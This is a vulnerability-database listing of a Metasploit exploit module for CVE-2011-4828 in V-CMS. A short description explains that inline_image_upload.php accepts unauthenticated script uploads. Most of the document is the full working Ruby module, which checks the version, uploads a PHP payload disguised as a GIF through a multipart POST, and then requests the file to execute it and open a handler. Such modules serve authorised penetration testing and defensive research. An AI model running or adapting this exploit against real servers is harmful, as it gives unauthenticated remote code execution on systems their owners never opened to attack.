V-CMS PHP File Upload and Execute

2012-04-13T23:12:16
ID MSF:EXPLOIT/LINUX/HTTP/VCMS_UPLOAD
Type metasploit
Reporter Rapid7
Modified 2017-07-24T13:26:21

Description

This module exploits a vulnerability found on V-CMS's inline image upload feature. The problem is due to the inline_image_upload.php file not checking the file type before saving it on the web server. This allows any malicious user to upload a script (such as PHP) without authentication, and then execute it with a GET request. The issue is fixed in 1.1 by checking the extension name. By default, 1.1 only allows jpg, jpeg, png, gif, bmp, but it is still possible to upload a PHP file as one of those extension names, which may still be leveraged in an attack.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::PhpEXE

  def initialize(info={})
    super(update_info(info,
      'Name'           => "V-CMS PHP File Upload and Execute",
      'Description'    => %q{
          This module exploits a vulnerability found on V-CMS's inline image upload feature.
        The problem is due to the inline_image_upload.php file not checking the file type
        before saving it on the web server. This allows any malicious user to upload a
        script (such as PHP) without authentication, and then execute it with a GET request.

          The issue is fixed in 1.1 by checking the extension name.  By default, 1.1 only
        allows jpg, jpeg, png, gif, bmp, but it is still possible to upload a PHP file as
        one of those extension names, which may still be leveraged in an attack.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'AutoSec Tools',  # Initial discovery
          'sinn3r'          # Metasploit
        ],
      'References'     =>
        [
          ['CVE', '2011-4828'],
          ['OSVDB', '77183'],
          ['BID', '50706'],
          ['URL', 'http://xforce.iss.net/xforce/xfdb/71358']
        ],
      'Payload'        =>
        {
          'BadChars' => "\x00",
        },
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        =>
        [
          [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' }  ],
          [ 'Linux x86'            , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Nov 27 2011",  #When the ticket was created
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('TARGETURI', [true, 'The URI path to vcms', '/vcms/'])
        ])
  end

  def check
    uri = normalize_uri(target_uri.path)
    uri << '/' if uri[-1,1] != '/'
    res = send_request_raw({
      'uri'   => uri,
      'method' => 'GET'
    })

    if res and res.body =~ /V\-CMS v1\.[0-1]/
      return Exploit::CheckCode::Appears
    else
      return Exploit::CheckCode::Safe
    end
  end

  def exploit
    peer = "#{rhost}:#{rport}"

    base = target_uri.path
    base << '/' if base[-1,1] != '/'

    @payload_name = "#{rand_text_alpha(5)}.php"
    p = get_write_exec_payload(:unlink_self=>true)

    post_data = "------x\r\n"
    post_data << "Content-Disposition: form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"\r\n"
    post_data << "Content-Type: image/gif\r\n"
    post_data << "\r\n"
    post_data << p + "\r\n"
    post_data << "------x--\r\n"

    print_status("#{peer} Uploading payload: #{@payload_name}")
    res = send_request_cgi({
      'uri'    => normalize_uri(base, 'includes/inline_image_upload.php'),
      'method' => 'POST',
      'ctype'  => 'multipart/form-data; boundary=----x',
      'data'   => post_data
    })

    if res
      print_status("#{peer} replies status: #{res.code.to_s}")
    else
      print_error("#{peer} No response from server. Will not continue")
      return
    end

    print_status("#{peer} Executing payload: #{@payload_name}")
    res = send_request_raw({
      'uri'    => "#{base}temp/#{@payload_name}",
      'method' => 'GET'
    })

    if res and res.code == 404
      print_error("#{peer} 404 - the upload probably failed")
      return
    end

    handler
  end
end